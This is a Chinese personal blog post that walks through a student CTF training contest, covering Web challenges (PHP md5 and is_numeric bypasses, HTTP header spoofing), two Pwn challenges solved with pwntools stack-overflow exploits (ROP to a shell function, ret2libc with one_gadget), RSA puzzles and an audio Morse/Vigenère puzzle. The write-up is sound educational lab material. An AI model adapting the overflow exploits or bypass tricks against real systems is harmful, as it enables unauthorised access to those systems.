第一篇博客!!开门大吉!
因为我本身也是菜鸡,做出来的题不多,而且都是很简单的题目,望各位看客谅解,题目所在的靶场应该过一阵子就拆了,就不贴题目地址啦,会尽量以图片和文字的形式进行复现。
Web
签到
皮虾乐队的贝斯手不见了
打开链接页是ubuntu pastebin
应该是动过手脚的,按F12打开源码看一下
发现了两串注释,
543557687D537D7B3372563D2A7E28566C7A405E564D6B565A54323F7534564D6C3068564D6C3061
543557687D537E474D71543341586F5354613F34563E34604B576D484F66573E47796F
再考虑到提示“皮虾乐队的贝斯手不见了”,应该用base家族解码
经过一番尝试后,第二段注释先后经过base16,base85,base64解码后,得到flag{very_e2sy_y2s}
速度要快
Ash是一名爆破专家,是一名突破手
打开链接直接得到源码
<?php
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
$_SESSION['nums'] = 0;
$_SESSION['time'] = time();
$_SESSION['whoami'] = 'ezpass';
}
if($_SESSION['time']+5<time()){
session_destroy();
}
$Ash = $_REQUEST['Ash'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];
if($_SESSION['whoami']==($Ash[0].$Ash[1]) && substr(md5($Ash),5,4)==0){
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
echo $str_rands;
}
if($_SESSION['nums']>=20){
echo $flag;
}
show_source(__FILE__);
?>
这里我在做题的时候找到了原型,关键点解释已经很到位了,我就不复制粘贴了.
最后附上我的python代码
import requests
s = requests.session() # 创建一个session对象 。
url = "http://xiabee.cn:10001/?Ash[]=ezpass" # url
r = s.get(url) # 获取url中以get方式上传的参数
for i in range(100):
url_1 = "http://xiabee.cn:10001/?Ash[]=" + r.text[:2] # 获取头两个字母
r = s.get(url_1)
print(r.url)
if i ==99: # 输出第100次爆出的内容
print(r.text)
PHP真爱粉
PHP是世界上最好的语言(吗
打开链接获得源码如下
<?php
highlight_file(__FILE__);
include('flag.php');
if ($_GET['xiao'] > 99999999 && strlen($_GET['xiao']) < 5)
echo "Well Done!".'<br>';
if (isset ( $_GET ['yu'] )) {
$yu = $_GET ['yu'];
if (is_numeric($yu))
die('Wrong Input!');
else{
switch ($yu) {
case 0 :break;
case 1 :break;
case 2 :echo "$flag";break;
default :echo "azhe?";break;
}
}
}
?>
关键点在于is_numeric
,这个函数的作用是 “如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE。”也就是我们要绕过这个限制,经查阅资料得知,is_numeric
函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。
那么这道题就很简单了,/?yu=2%20即可,得到flag{p1h_1s_s0_ez}
头等舱
还记得10.0.0.55的备用地址是什么吗
打开链接后是这样
名字是头等舱,猜测和报头相关,使用burpsuite抓包
这里卡了好长时间,然后在大佬的提醒下开始注意Method这个提示,Wrong Method!,什么方式错了呢,联想到请求方式,经多次尝试,在PUT时收到反应如下
GG browser is so Great!,于是将User-Agent改为GG
得到提示要伪装成localhost,于是把referer改成127.0.0.1,又添加了X-Forwarded-For: 127.0.0.1,如下所示
本提示是 “还记得10.0.0.55的备用地址是什么吗”,其实是10.0.0.53,这个是校内生活小知识,各位看客不知道正常,参加结训赛的人应该都知道(大概,最后进行更改X-Forwarded-For: 10.0.0.53,send得flag
Pwn
到了最向往的pwn,虽然是最向往的方向,不过菜的只会做签到…
qiandao
无提示
普通的64位rop,只开启了NX保护,通过gets栈溢出,也给了sh函数(可直接获得shell)
直接上代码了
from pwn import *
io = remote("everything411.top" ,10014)
payload =b'a' * (0x100) + p64(0xdeadbeefdeadbeef) + p64(0x0000000000401263) + p64(0x0000000000402004) + p64(0x0000000000401156)
# rbp rdi_add meow字符串 sh函数
io.sendline(payload)
io.interactive()
io.close()
qiandao2
do you know one_gadget?
checksec检查
ida查看程序
仍然是gets溢出,不过sh函数不再能够getshell
废话少说,直接上代码
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
io = remote("everything411.top" ,10015)
elf = ELF('./qiandao2')
libc = ELF('./libc6_2.23-0ubuntu11.2_amd64.so') # 加载libc版本 在https://libc.blukat.me/ 查询并下载
execve = 0x45226 # one_gadget得到
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_add = 0x40115F
payload =b'a' * (0x108) + p64(0x0000000000401233) + p64(puts_got) + p64(puts_plt) + p64(main_add) # 泄露puts地址,用于查询libc库和计算offset
# padding rdi_add rdi_value ret puts main_add以便下次padding
io.sendline(payload)
puts_add = u64(io.recv()+b'\x00\x00') # 接收泄露出的地址
print('puts_address:' + hex(puts_add))
offset = puts_add - libc.symbols['puts'] #计算offset
execve_addr = offset + execve
payload2 = b'a' * (0x108) + p64(execve_addr) # padding + gadget
io.sendline(payload2)
io.interactive()
io.close()
题目提示让我们使用one_gadget
,one_gadget
是什么呢,简单来说就是可以找到获得shell的函数的地址,但是不能直接用,这个地址只是libc库中的,实际程序运行时会有产生偏移量offset
,而我们可以通过泄露其他函数的地址并与libc库中对应函数地址相减来获得这个offset
,最后只需要一个简单的payload2
就完成啦
Crypoto
我做出来的这两个密码都是关于rsa的,知乎上有一个很棒的rsa解密学习指南,感兴趣的可以看一下
关于rsa的基本原理可以去看ctf wiki,这里就不说了
babyRSA
simple rsa
n =
2175688405733541703870452086626738401792220260185622845647
e = 0x10001
c = 909189959980475048848571460773306576585339198658788147448
hint:factordb.com is your good friend
正常rsa中我们看到n比较小,自然想到分解质因数
这道题的难点在于,将n分解后出来了三个数,和正常的rsa长得也不一样,让人无从下手,事实上,硬着头皮算就好了
正常rsa是 r = (p - 1) * (q - 1)
三个因数的话,就r = (p1 - 1) * (p2 - 1) * (p3 - 1)
代码如下:
#!/usr/bin/python
#coding:utf-8
import gmpy2
from Crypto.Util.number import long_to_bytes
N = 2175688405733541703870452086626738401792220260185622845647
e = 0x10001
c = 909189959980475048848571460773306576585339198658788147448
p1 = 12174597259764339563
p2 = 12211006709935453691
p3 = 14634929140319987959
r = (p1 - 1) * (p2 - 1) * (p3 - 1)
d = gmpy2.invert(e,r)
n = pow(c,d,N)
print (long_to_bytes(n))
Small e
这次分解不了了
给了我们两个文件,一个main.py一个out.txt
main.py
from flag import flag
from Crypto.Util import number
import os
assert type(flag) == str
flag_b = flag.encode() + os.urandom(128 - len(flag))
p = [number.getPrime(1024) for _ in range(3)]
q = [number.getPrime(1024) for _ in range(3)]
n = [_p * _q for _p, _q in zip(p, q)]
e = 3
m = number.bytes_to_long(flag_b)
for i in range(3):
print("n{} = {}".format(i, n[i]))
print("c{} = {}".format(i, pow(m, e, n[i])))
out.txt
n0 = 16067817932594307041570490664780805848472742222521209486359183294876659529608435557600537260250449433611595173684925374508467672404417859479495004093579610726032262914323802262015761804257474778421075371915604733039622965481151880946821099347099589181944483948769906556017986079391359211585782596464924468208449010284942962635113163737362978946256184113197172628780615797285233916435176242221439390878162794629364484926505774613228229646458189210171950867198879934364120504046273177961083687027937189811732509344365844834160229805810205081446686611488115226014344875552419979932806334691942178914927653481984541110621
c0 = 9879971463914625690975893241580185387981496369356734957012721513373144938753569045503323744985869516225432489622517950293366904764152664636972215860898639778481845669980292323448545868723176321988532040102362409575435129737188286227622375002577654117407187235639039788403421568330907783489740293783760374579674272228953702822209345735718037784007905107507640441789566148023418182843850856028272425280660185409774791229291736804113219546032069271224441643592470352853688723172019556711071350797050854277490132448056258928350601925843959503438270798312618141538795176843674864017991973083157087900179066637653967471786
n1 = 27220804436805864442162182442813759263069372128468811270228757759122242102746634331274204813645700606025198464757315069476396636457109385709010309093761124250367793217269514777894950749932026790104944920542415154470272710654996775902535083921322900858510081080526361203971974235685839596700898966986819478871421472486198215667112358892381840624555494963218129513959117765033488219148477371667129956523403726492811804971592929874287476692563269065787601147950636445646208059251015601569921025370871805357871922113088791024382926047840273911791193990034677955545643860434985638900984527560552087922124397003230357748287
c1 = 18601174471639330838673755997627097179717053665843260588739160926694895023115719989743218032177933064024790567417281962648968287556842258818888225805040849173826497707326525590383774570277339562504216146208571367319040674013938991326596042075188486353554578994481344994910413567203491400010042812019323116569805264327599429345975064505984904064402357370098622911816024581171930600566133580491190247014980742239289588062485016239992005485018607729737084787372336151888759198583123570341162243303928994460199822642294565067160393816192370390199699022295478284192467413238687379911409873590966380239175755869062503249758
n2 = 18003911632122599813425550392025295318460144538002420546091473342504066065913374478380723966510863927323450160422323963085439934919821408030000597030220444017446677275520530600602313223716913843706289020789546341254298514327568202682323289952838243830866298465249322960573348784191060837060844553425424656343221015762038900638842760791476620770787585512880263777811650363550291113188707834451876652168342500756621692207745249699478983220317963165032407100517970067554347460807373078643124640438035329791669756566825583763144347915561928759654089817337965531158175165510730703911869587267266225122572337924741504872421
c2 = 16232129131608810282413937706144487240626338624250308577834225698445782468881682329646696899789457330498386668165599055270602304521900866238477820450745745574235835329025428831975135564432471301944638869445512637388111199953848153394755434332731325017811903037131194504517921570433491911858368670794242170207150194844396867824699460595352243616284981999437646934978307049377044110514736105768616893202608779347282837560546402961227548577594166063494153158225233408919063945070416486278018607780042733335959208255707942063870095648981102997015240784176457028384300754675188591655968245197618705494443537255712721037015
我们来翻译一下,我们现在有n0, c0, n1, c1 n2, c2,且
m e ≡ c 0 ( m o d n 0 ) m^e \equiv c_0 ( mod \ n_0 ) me≡c0(mod n0)
m e ≡ c 1 ( m o d n 1 ) m^e \equiv c_1 ( mod \ n_1 ) me≡c1(mod n1)
m e ≡ c 2 ( m o d n 2 ) m^e \equiv c_2 ( mod \ n_2 ) me≡c2(mod n2)
眼熟吗,对的,是中国剩余定理,按照定义去计算即可算出 m e m^e me
开三次根号即可算出m
代码如下:
import gmpy2
from Crypto.Util import number
n0 = 16067817932594307041570490664780805848472742222521209486359183294876659529608435557600537260250449433611595173684925374508467672404417859479495004093579610726032262914323802262015761804257474778421075371915604733039622965481151880946821099347099589181944483948769906556017986079391359211585782596464924468208449010284942962635113163737362978946256184113197172628780615797285233916435176242221439390878162794629364484926505774613228229646458189210171950867198879934364120504046273177961083687027937189811732509344365844834160229805810205081446686611488115226014344875552419979932806334691942178914927653481984541110621
c0 = 9879971463914625690975893241580185387981496369356734957012721513373144938753569045503323744985869516225432489622517950293366904764152664636972215860898639778481845669980292323448545868723176321988532040102362409575435129737188286227622375002577654117407187235639039788403421568330907783489740293783760374579674272228953702822209345735718037784007905107507640441789566148023418182843850856028272425280660185409774791229291736804113219546032069271224441643592470352853688723172019556711071350797050854277490132448056258928350601925843959503438270798312618141538795176843674864017991973083157087900179066637653967471786
n1 = 27220804436805864442162182442813759263069372128468811270228757759122242102746634331274204813645700606025198464757315069476396636457109385709010309093761124250367793217269514777894950749932026790104944920542415154470272710654996775902535083921322900858510081080526361203971974235685839596700898966986819478871421472486198215667112358892381840624555494963218129513959117765033488219148477371667129956523403726492811804971592929874287476692563269065787601147950636445646208059251015601569921025370871805357871922113088791024382926047840273911791193990034677955545643860434985638900984527560552087922124397003230357748287
c1 = 18601174471639330838673755997627097179717053665843260588739160926694895023115719989743218032177933064024790567417281962648968287556842258818888225805040849173826497707326525590383774570277339562504216146208571367319040674013938991326596042075188486353554578994481344994910413567203491400010042812019323116569805264327599429345975064505984904064402357370098622911816024581171930600566133580491190247014980742239289588062485016239992005485018607729737084787372336151888759198583123570341162243303928994460199822642294565067160393816192370390199699022295478284192467413238687379911409873590966380239175755869062503249758
n2 = 18003911632122599813425550392025295318460144538002420546091473342504066065913374478380723966510863927323450160422323963085439934919821408030000597030220444017446677275520530600602313223716913843706289020789546341254298514327568202682323289952838243830866298465249322960573348784191060837060844553425424656343221015762038900638842760791476620770787585512880263777811650363550291113188707834451876652168342500756621692207745249699478983220317963165032407100517970067554347460807373078643124640438035329791669756566825583763144347915561928759654089817337965531158175165510730703911869587267266225122572337924741504872421
c2 = 16232129131608810282413937706144487240626338624250308577834225698445782468881682329646696899789457330498386668165599055270602304521900866238477820450745745574235835329025428831975135564432471301944638869445512637388111199953848153394755434332731325017811903037131194504517921570433491911858368670794242170207150194844396867824699460595352243616284981999437646934978307049377044110514736105768616893202608779347282837560546402961227548577594166063494153158225233408919063945070416486278018607780042733335959208255707942063870095648981102997015240784176457028384300754675188591655968245197618705494443537255712721037015
e = 3
N = n1 * n2 * n0
N1 = N // n1
N2 = N // n2
N0 = N // n0
ny0 =gmpy2.invert(N0,n0)
ny1 =gmpy2.invert(N1,n1)
ny2 =gmpy2.invert(N2,n2)
m_e = (c0*N0*ny0+c1*N1*ny1+c2*N2*ny2)%N
m = gmpy2.iroot(m_e,e)
print(m)
Misc
Misc一共两道,阿菜只做出了一道
玩玩音频
下载附件:ハセガワダイスケ 菅野祐悟 - 杜王町Radio.wav hint:这么简单的题目,没有提示
flag格式:flag{XXX_XXX},词汇之间使用下划线分割,全部字母大写。遇到不认识的词汇就当成是一个好了。
文件放到了网盘
链接:https://pan.baidu.com/s/1xJh8lNJyGILp4NGO_FAsNg
提取码:gh0k
使用Audacity打开,试听一下
在19.9秒之后可以听见明显的摩尔斯密码的声音,放大观察波形图
得到
-. .-- .— --… -.-- …- -… -… … -.-. --. .-. --.- -… - --.- -…- . -.-. .-. -.- --. -.-- — - --. … .-… …-. --. -.-. .-… … .-- … -.-- - … …- -… -. – -…- .-… - .-- …- --… .— -.-. --.- .- – .-- …- --. --.- .-- .-- .-. …- .-… -.-- …- .–. …- …- – -…- --… …- --… . -… --. .-… -…
解码得到
NWJZYVDDSCGRQDTQXECRKGYOTGILFGCLHWIYTHVDNMXLTWUZJCQAMWVGQWWRVLYVPVUMXZVZEBGLB
凯撒密码移位也得不出可读信息,于是重新回到音频文件,观察频谱图,得到KILLER QUEEN
最后用维吉尼亚密码,解得flag
Reverse
reverse的题学长是出了的,奈何自己太菜,所以只能就放个标题了